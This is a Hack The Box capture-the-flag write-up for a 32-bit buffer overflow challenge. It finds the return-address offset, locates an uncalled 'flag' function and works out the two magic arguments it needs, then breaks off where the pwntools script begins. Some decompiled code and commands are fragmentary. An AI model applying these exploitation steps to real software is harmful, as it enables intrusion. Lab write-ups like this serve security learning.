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## HTB WRITEUP

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Analysis

## **ANALYSIS**

We have a vuln ELF file that can be run and we can insert as impot a big string and this file return with error SIGSEGV. This challenge is a pwn and is 20pt so shurely is a buffer overflow exploit.

with the metaslploit tool "pattern\_create.rb" and the tool "pattern\_offset.rb" i have create this pattern long 300 byte:

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

and given as input this pattern the program SIGSEGV with in the eip register the address **0x33674132**. with the tool *"pattern\_offset.rb"* we can calculate the offset of the stack for overwrite the return address. **this offset is 188**.

And for confirm that if we pass as input of the vuln executable the result of this command:

now when the executable SIGSEGV in the eip register there is the address **0x66666666** and so the 188 offset is correct.

Now dissassembling the ELF file we can see that is present a function named as flag but is never called.

And gdb is very gentle to indicate us the function address. And due to the fact that this ELF has no protection we can jump directly in that address.

```
gef info functions
All defined functions:
Non-debugging symbols:
0x08049000 _init
0x08049030 printf@plt
0x08049040 gets@plt
0x08049050 fgets@plt
0x08049060 getegid@plt
0x08049070 puts@plt
0x08049080 exit@plt
0x08049090
           __libc_start_main@plt
0x080490a0 setvbuf@plt
0x080490b0 fopen@plt
0x080490c0 setresgid@plt
0x080490d0 _start
0x08049110 _dl_relocate_static_pie
0x08049120 __x86.get_pc_thunk.bx
0x08049130 deregister_tm_clones
0x08049170 register_tm_clones
0x080491b0 __do_global_dtors_aux
0x080491e0 frame_dummy
0x080491e2 flag
0x08049272 vuln
0x080492b1 main
0x08049330 __libc_csu_init
0x08049390 __libc_csu_fini
0x08049391 __x86.get_pc_thunk.bp
0x08049398 _fini
```

when we overwrite the return address with te address of the flag function we have this result.

But this time there are no flag and no message, investigating the function we can see that the function take two parameter as input.

```
* r2dec pseudo code output */
/* /home/kali/Downloads/vuln @ 0x80491e2 */
#include <stdint.h>
uint32_t flag (uint32_t arg_8h, uint32_t arg_ch) {
   char * format;
file* stream;
    int32_t var_4h;
    _x86_get_pc_thunk_bx (ebx);
    ebx += 0x2e12;
   eax = fopen (ebx - 0x1ff6, ebx - 0x1ff8);
    stream = eax;
    if (stream == 0) {
        puts (ebx - 0x1fec);
        exit (0);
    fgets (format, 0x40, stream);
    if (arg_8h == 0xdeadbeef) {
        if (arg_ch == 0xc0ded00d) {
           printf (format);
        } else {
          else {
    ebx = var_4h;
    return eax;
```

so we ned pass to the flag function two parameter: **arg\_8h must be 0xdeadbeef** and **arg\_ch must be 0xc0ded00d** arg\_8h is the first parameter and arg\_ch the second.

```
flag (uint32_t arg_8h, uint32_t arg_ch);
; var char *format @ ebp-0x4c
; var file*stream @ ebp-0xc
; var int32_t var_4h @ ebp-0x4
; arg uint32_t arg_8h @ ebp+0x8
; arg uint32_t arg_ch @ ebp+0xc
we can see that arg_8h is in ebp+0x8 and arg_ch in ebp+0xc
#!/usr/share/python3
from pwn import *
```